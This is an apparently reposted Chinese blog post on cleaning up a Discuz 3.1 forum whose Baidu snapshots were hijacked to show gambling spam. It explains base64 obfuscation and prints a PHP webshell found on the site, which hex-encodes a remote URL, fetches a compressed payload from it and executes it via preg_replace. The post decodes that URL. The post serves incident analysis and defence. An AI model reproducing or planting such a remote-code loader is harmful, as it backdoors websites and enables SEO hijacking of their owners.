discuz 3.1论坛快照被百度劫持解决方案

最近很郁闷,遇到一个很棘手的问题。我们公司有个论坛在百度查看快照信息的时候全部都是博彩信息,但是打开却无博彩信息显示。在快照中查看是这样的

百度快照查看图:

 

经过思考,怀疑是网站中有网页被改动了,在某页面加了判断,如果来源为搜索引擎的抓取就显示博彩信息。但是使用editplus文件搜索如: baidu\spider\http等也无效。通过百度搜索别人也遇到相似的问题,入侵者将要写入的信息加密,通过通用的关键字是搜索不到的。就查找php的加密方法,但然肯定是可以解密的加密方法

1、base64加密

string base64_encode ( string $data )

使用 base64 对 data 进行编码。

设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输,例如电子邮件的主体。

Base64-encoded 数据要比原始数据多占用 33% 左右的空间。

string base64_decode ( string $data [, bool $strict = false ] )

对 base64 编码的 data 进行解码。

参数

data -- 编码过的数据。

strict -- 如果输入的数据超出了 base64 字母表,则返回 FALSE。

 

我遇到的就是这种情况

 

2、使用对称加密方法

 

Webshell代码如下:

1
2
3
4
5
6
7
8
9
<?php
error_reporting (0);
session_start();
header( "Content-type:text/html;charset=utf-8" ); if ( empty ( $_SESSION [ 'api' ]))
$_SESSION [ 'api' ]= substr ( file_get_contents (
sprintf( '%s?%s' ,pack( "H*" ,
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace( "~(.*)~ies" ,gzuncompress( $_SESSION [ 'api' ]),null);
?>

关键看下面这句代码,

1
sprintf( '%s?%s' ,pack( "H*" ,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

更多参考:http://drops.wooyun.org/papers/1215

转载于:https://www.cnblogs.com/fogwang/p/5502499.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值